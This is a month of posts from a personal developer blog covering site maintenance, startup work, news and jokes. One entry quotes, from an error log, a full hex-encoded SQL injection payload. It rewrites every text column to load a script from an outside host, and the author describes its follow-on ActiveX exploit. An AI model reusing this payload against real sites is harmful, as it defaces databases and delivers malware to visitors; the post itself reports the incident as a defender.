Entries for September, 2008

I've been making great use of this Labor Day weekend by laboring on Tabulas. I finally decided to take the dive and do all the dangerous changes I've been avoiding for far too long. I've been removing hundreds of lines of code whose only purpose was to bridge between the new code and the old code. It's cathartic, but it's also led to a bunch of errors being thrown. I've turned on logging to the max: all SQL and PHP errors will be reported to me, so I should hopefully stabilizing everything soon!

A bit of downtime for Tabulas users sucks, but Tabulas downtimes are so rare: once a year of downtime ain't bad ;) I also took the time to make a Tabulas DB dump today, and it weighs in at 5.5GB! Woo, better figure out how to scale that out a bit.

Anyways, I'm pretty pumped to have tomorrow off, as I can continue to work on Tabulas and really get it to a stabilizing point. I have some pretty cool plans for Tabulas, which I hope I can pursue.

I discovered this old song today, which I seriously thing is one of the best techno songs I've heard in a long, long time: (then again, I listen to iPartyRadio, so that may not be a hard thing to do):


Currently listening to: DJ Falcon & Thomas Bangalter - Together
Posted by roy on August 31, 2008 at 11:39 PM in Music, Tabulas | Add a comment

I was checking my Amazon Web Services bill today and noticed it was much lower than the previous few months.

SLA Service credit?

Due to an Amazon S3 service disruption on July 20, we are proactively issuing credits for July, corresponding to 25% of Amazon S3 US usage and 10% of Amazon S3 EU usage. This is based on our calculation of the monthly uptime percentage for Amazon S3 in the US and EU. We have waived our standard SLA process. You are receiving this credit because you made requests to Amazon S3 during July and have a credit value greater than $1.

Woot! Amazon rocks!

I should note that I didn't even notice the downtime - it happened on a Sunday; I woke up late in the afternoon and read some posts about it. By the time I had checked, it was already working.

Win win win!

Posted by roy on September 1, 2008 at 03:16 PM in Ramblings, Tabulas | 3 Comments

what's up, y'allllll (wikkity wikkity wikkity wack). i'm pretty convinced that when i'm sleep deprived, i am very fun to be around. i'm also convinced that the entries i write WRITE BEFORE I PASS OUT from sleeping pills tend to get LOTS of responses.

labor day weekend is over. it was very productive, and i made some great progress on making tabulas not suck, once again. i'm currently running a script (going through over a million entries) which will populate a great feature: "Tabulas Trackbacks!"

Anytime you link to a Tabulas user, image, or entry, we'll know!

I've never been a huge fan of comments - they're good for short discussions, but a real conversation requires a full post, by itself. This'll be the first bootstrapped feature that will launch this: expect to see more of it this week. Lainie, and I mean you! (You need to get some of your friends on Tabulas!)

I'm cautiously optimistic about this upcoming week at work. I'm not going to jinx it, but I have a feeling it's going to be a great week, indeed.



Currently watching: my upgrade script pushing out a ton of numbers ... i hope it's done by morning!
Currently feeling: reflective
Posted by roy on September 2, 2008 at 01:35 AM in Tabulas, MindTouch | 1 Comments

You know what sucks the most about working in the computer industry? the lack of sex-ification. Shows like House, Scrubs, and Grey's Anatomy make being a doctor sexy. West Wing makes you feel like every day of a politician's life is the most important day in the world. Entourage? Please, as if movie stars needed a show to make them seem awesome.

Generals probably have it the best.

Eisenhower: Freeing the world from fascism

Napoleon: Freeing Europe from the French (by invading Russia) (see what I did there??!?! ha-ha!)

Washington: Freeing Americans from people with bad teeth

I mean, even politicans can look cool. Barack pulls it off nicely:

Is it even possible for programming to look cool? Let's try Bill Gates:

Hmmmm.... somebody out there, please glorify the lives of programmers! We're really cool ... seriously!

Posted by roy on September 2, 2008 at 10:42 PM in Ramblings | 8 Comments

i think i finally navigated through a particularly rough patch of work. a flurry of announcements on the mindtouch blog (which i'll undoubtedly repeat here) should serve as nice punctuation for the past few weeks. it hasn't been pretty, and i haven't executed particularly well (nor have i managed my personal life very well), but i'm glad it's over. my self-esteem and personal confidence has taken a bit of a hit, but i'll be fine. just gotta dust myself off and get back in the game.

i find myself, tonight, attempting to go to bed before midnight. this is hopefully the beginning of something new: a more positive me. go go positivity!

Currently listening to: all american rejects - move along
Posted by roy on September 3, 2008 at 10:57 PM in Personal, MindTouch | Add a comment

I'm starting to get to my "to-do" list for Tabulas that's a few months old (finally). This past week, I started working on pingback functionality inside Tabulas; it required an update script (which took about 3 full days to run, sheesh!).

Unfortunately, the data was bad, so I had to trash it all. I'm also thinking of refactoring the code; currently it treats both pingbacks and internal pingbacks (I bypass the XML-RPC pingback if I detect it as an internal resource) as different codepaths, but there might not be a reason I have to do. Oh, the joys of refactoring!

I've also continued with the database cleanups - looks like my work from last week has settled (not too many issues reported). I'm almost done with all the database cleanups, so I'll be able to remove a huge abstraction layer (that was causing some slowness) soon.

Hopefully I'll find some time this week to hack through the pingback feature - I think it's really cool (the early version was pretty useful!).

Posted by roy on September 7, 2008 at 11:06 PM in Tabulas | Add a comment

It seems that everytime I take a sleeping pill, I always end up writing a Tabulas entry instead.

Background on this post: MindTouch Deki 8.08 finally shipped. Pete's flying in tomorrow.

This means, we FINALLY ARE GOING TO HAVE A PRODUCT ROADMAP MEETING! Yay! All those features and great idea's we've had to brush aside ... we can finally get down, sit down, discuss them, and figure out what to do!

I am most excited about this.

Here are the thoughts that were keeping me up:

  • Collaboration:
    • Friendfeed, Facebook News Feed ... there's no reason we couldn't sexify "Recent changes" to improve content readability
      • example: allow different view modes - attached files - added comments - LET people add comments to a page about a revision!
      • something to consider: what "is" a revision? (comments? tags? files?)
      • tagging user page makes them a "friend" - watch list == recent changes personalized
  • Permissions - this is crucial - as we target more SMBs (<50 people) who want granular control, we have to reconsider it all. Accessmaps - might be a good idea. Technical: Drop roles and restrictions as masks - work with the flags directly. Users have no permissions, until assigned to a group, which has a permission mask.
    • User namespace: Do what the hell you want - Max
    • Custom namespaces: (Or allow Special: and start converting things like "Top Contributors" and "Top pages" into DekiScript) - Damien
  • Push notifications (Events/XMPP) - allow appications to be "notified" when changes occur - lets you do things like AIM notices, email notifications, Twitter posts, WordPress posts ...
    • Internal feature: Watchlist (takes advantage of this)
      • Required feature changes: Subscribe to a whole tree, comment on a change
Currently feeling: f'ing tired
Posted by roy on September 8, 2008 at 02:55 AM in MindTouch | Add a comment

Just cause I feel the need to be silly, OH NOES FEAR THE LARGE HADRON COLLIDER:

"A theoretical physicist working at the fictional Black Mesa Research Facility, Gordon Freeman is involved in an experiment which accidentally opens an interdimensional portal, releasing confused, hostile beings into the complex." (link)

super lulz

Posted by roy on September 10, 2008 at 10:16 PM in Ramblings | 3 Comments

Julia Nunes is pretty awesome:  (It never hurts to cover an awesome Beatles track, too!)


Posted by roy on September 13, 2008 at 01:58 PM in Music | 4 Comments

It's surprising that I haven't written much in this journal, given the bevy of historical happenings lately.

First off, this whole credit crisis ... I can't stop reading about it. Not to be a negative Nancy, but watching things get crushed under their own weight is a really fascinating thing to watch. The bailouts of Fannie Mae and Freddie Mac ... I mean, wow. It was scary enough the government bailed out Bear Stearns and delivered it on a place to JP Morgan, but now they've nationalized Fannie Mae/Freddie Mac. If that's not a huge strike against laissez-faire capitalism, I don't know what is. This isn't the first time the government has bailed out "critical" industries, but this is the one that'll have the most impact.

What started off as a failure in sub-prime mortgage companies spread to the rest of the credit market. Now who's next? Insurance companies? (AIG's already feeling the pain).

Second off, amid the turmoil of the markets, the stock of United Airlines (UAL) dropped from $12 to $3 after Google news picked up an old story about UAL's bankrupcy from years past. Now the SEC is looking into the issue. I wonder what they'll do ...

One of the challenges that faces our generation is how quickly information flows, and our ability to filter and gauge truth. The invention of the mass media is relatively new - and not a decade later, and we're transitioning even further into supermass media, where not only accredited reports and fact-checkers are giving us news, but every single person has the voice and a soapbox. For me, the instantaneous reporting of information, coupled with strong automation tools, is why I'm so concerned about the state of privacy in this world. The more the system knows about what you do, how you think, and how you're getting your information, the easier it becomes to tool a message to manipulate me into reaching a conclusion (be it to buy a product, or vote for a candidate).

Any attempts to stifle the flow of information by putting safeguards'll ultimately fail. It's like trying to contain a fast-flowing river by throwing down a few rocks to serve as a temporary dam - eventually it'll overflow and you'll have to deal with that later.

Of course, following that analogy, with proper engineering and a plan to harness the river, you could do real well and build yourself a Hoover Dam of information ... (once somebody figures that out, the newspaper industry will be bailed out).

Posted by roy on September 14, 2008 at 03:10 PM in Ramblings | Add a comment

So during the duration of my Tabulas code refactoring, I've turned on all PHP fatal errors to log to disk, and all mySQL errors to be emailed to me. I got the following interesting error:

SELECT entry_id, entry_userid, entry_url, entry_title, entry_status, entry_created, entry_draft, entry_updated, entry_category, entry_comment, entry_iconid, entry_favorite, entry_sticky, entry_watching, entry_reading, entry_listening, entry_mood, entry_feeling, entry_html, entry_nl2br, entry_break, entry_commentcount, entry_related, entry_status_effective FROM entries, entry_metadata WHERE entries.entry_id = entry_metadata.entryid AND entry_userid = '106634' AND entry_status_effective IN (0) AND entry_updated < NOW() AND entry_draft = 0 ORDER BY entry_sticky DESC, entry_updated DESC LIMIT 6 OFFSET 0;DECLARE @S CHAR(4000);SET @S=CAST(
0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

How interesting! Somebody was using the offset parameter for entries to do an injection attack! However, the GET param looked like junk, till I showed it to Max, who de-hexed it:

This nice little code snippet looped through my whole database, and would update any textual fields with a JS script.

Upon further inspection, the JS code embedded an <IFRAME> which loaded a Chinese page. This page, in turn, had the wonderful code snippet:

I'm running a Mac, but it looks like the JS tries to exploit ActiveX and do something real evil. Good thing I have a shred of competency when it comes to programming!

Posted by roy on September 14, 2008 at 08:44 PM in Web Development, Tabulas | 4 Comments

by far, the funniest thing i've seen all week:

Attempting to "console each other." Haha!

Apparently this is Sal & Richard from the Howard Stern show... looks like they've pulled this prank before:

Around 20 seconds in, you'll see two guys in the foreground. Not as obvious as the CNN one...

Posted by roy on September 17, 2008 at 07:48 PM in Ramblings, Foolishness | 1 Comments

It's so weird hearing Muse cover "Can't Take My Eyes Off Of You": (the Lauryn Hill version is best cover)

I don't know what it is, but I've been really fixated on the Maltese cross lately:


Posted by roy on September 22, 2008 at 01:30 AM in Ramblings, Music | 4 Comments

This is the culmination of roughly a year's worth of knowledge in software development processes in an open-source start-up company: Release Strategy for MindTouch Deki.

It's not, by any means, definitive, and it's missing a lot of insights I've gained (unfortunately they escaped me while I was putting together that document). It does a good job of marking out our approach, factoring in the need to balance out the open source and commercial editions of Deki. I expect over the coming weeks and months, to continue adding to this document. Of course, this thing is already wordy (2000+ words!), so I'll need to constantly tighten up the writing.

My hope is this'll serve as a good starting point for people just joining the community, and as a reminder for our internal dev team on our processes (that they so often forget!).

I'm sure those engineers/product managers who have worked are more established companies will laugh at the naivete of this document, but that's what learning is for, right? ;)

Posted by roy on September 23, 2008 at 09:05 PM in Web Development, MindTouch | Add a comment

Is it bad that I can relate to this?

Check out more of these comics from toothpastefordinner.com

Posted by roy on September 24, 2008 at 01:53 PM in Foolishness | 3 Comments

It's amazing to me that Michael Jordan continues to be an icon, even after his retirement. His new commercial is amazing, and rings so true to me:

My sis recently had concerns about her natural aptitude in her chosen career path (journalism) ... and to me, natural aptitude isn't as important as good old-fashioned hard work. What great timing to find this commercial.

Posted by roy on September 24, 2008 at 11:19 PM in Ramblings | 2 Comments

I'll be flying back to NC from October 17th until October 27th for a much needed respite. I rented out a beachhouse on Bald Head Island, so hopefully I can wrangle some NC friends to hang out for a weekend. I also timed this year's fall trip back home to coincide with the NC State Fair! Time to get some corn on the cob, smothered in butter, with cayenne pepper... yum.

(To be honest, I prefer NC beaches in the fall/wintertime over Californian beaches ... something about the Atlantic makes it more suitable).

From the Bald Head trip in 2006:


Posted by roy on September 26, 2008 at 01:22 AM in Ramblings | 6 Comments

Han posted a follow-up to my last post:

Ladies, this ass is single and available. Contact me now!

Posted by roy on September 26, 2008 at 04:37 PM in Ramblings | Add a comment

This is the best idea I've ever heard: Get your face painted into a Chinese propaganda poster. Here's the example:

You can choose from over 1500 pictures! This is awesome!

Right now, I'm digging:

"May all asians come together, drive the US aggressor out of Asia." I think this could go well with Spaceman Roy:

Leading the way for the others...

Of course, it might just be funnier if I get one done that would be more subtle - people could be all like, "Wow Roy, you really look like that guy in the Chinese propaganda poster." Like this one (I dont look like this guy, but I *could*):

Posted by roy on September 28, 2008 at 09:56 PM in Ramblings, Foolishness | 3 Comments

I'm quite disappointed with what Congress (specifically the House) decided to do today. It's clear that the economy needs help, and the government was the lender of the last resort.

Anyways, since Congress seems intent on letting the system burn ... all that seems left to do is to pull up a chair to the bonfire and say: "burn, baby ... burn."

Posted by roy on September 29, 2008 at 08:17 PM in Finances | 2 Comments

In my loft building, I live on the fourth floor. This oftentime means I'm the first person to get off when somebody else is in the elevator.

I notice that when I'm in there with one other person, whenever I say, "Have a good one" on the way out, I always get a response back.

However, when I'm there with two other strangers, neither will respond ... just silence. Then, as the door closes behind me one of them (obviously the socially weaker one) will sputter out, "You too!"


Posted by roy on September 29, 2008 at 09:41 PM in Ramblings | 1 Comments

I have a tendency to romanticize everything in my head (oh, idealism!). This has a tendency to make me cynical (as nothing in real life ever lives up to the perception of perfection).

One of the downsides of social networking like Facebook is it really makes it easy for you to answer: "I wonder what ____ is up to these days." When I was in high school, I really thought my group of friends and I would conquer the world. We were smart, we were hungry, and we came from privileged backgrounds (yes, middle class is privileged!).

When I look these people up on Facebook now, I get disappointed at the ...mediocrity of their lives. These were guys whom I considered intellectual equals ... and some of them are doing the most pointless things. Some are playing the rat race and some are still searching for what they want to do. Intellectual curiority ... dashed. Wasted. What a shame.

There's a certain romanticism about falling "off the grid" ... I wonder if it's cause it hides how truly mundane real life is.

For me? I'm still searching for that spark in my life. Something to separate me from mediocrity ... something to say, "Here is my blessed life, and here is what I made of it all."

Currently listening to: eva cassidy - i know you by heart
Posted by roy on September 29, 2008 at 10:12 PM in Personal, Ramblings | 8 Comments

you can tell when mindtouch-ers have gone to the same conferences together:

they look so happy! and look the ray of sunshine. this could be the beginning of a lolmindtouch site.

Posted by roy on September 30, 2008 at 12:11 PM in MindTouch | 3 Comments
« 2008/08 · 2008/10 »